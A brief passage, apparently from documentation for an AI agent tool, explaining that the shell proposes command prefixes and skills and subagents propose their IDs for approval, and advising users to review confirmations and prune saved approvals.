shell proposes command prefixes, and skills and subagents propose their
IDs. Review the confirmation carefully and remove saved approvals that are no
longer needed.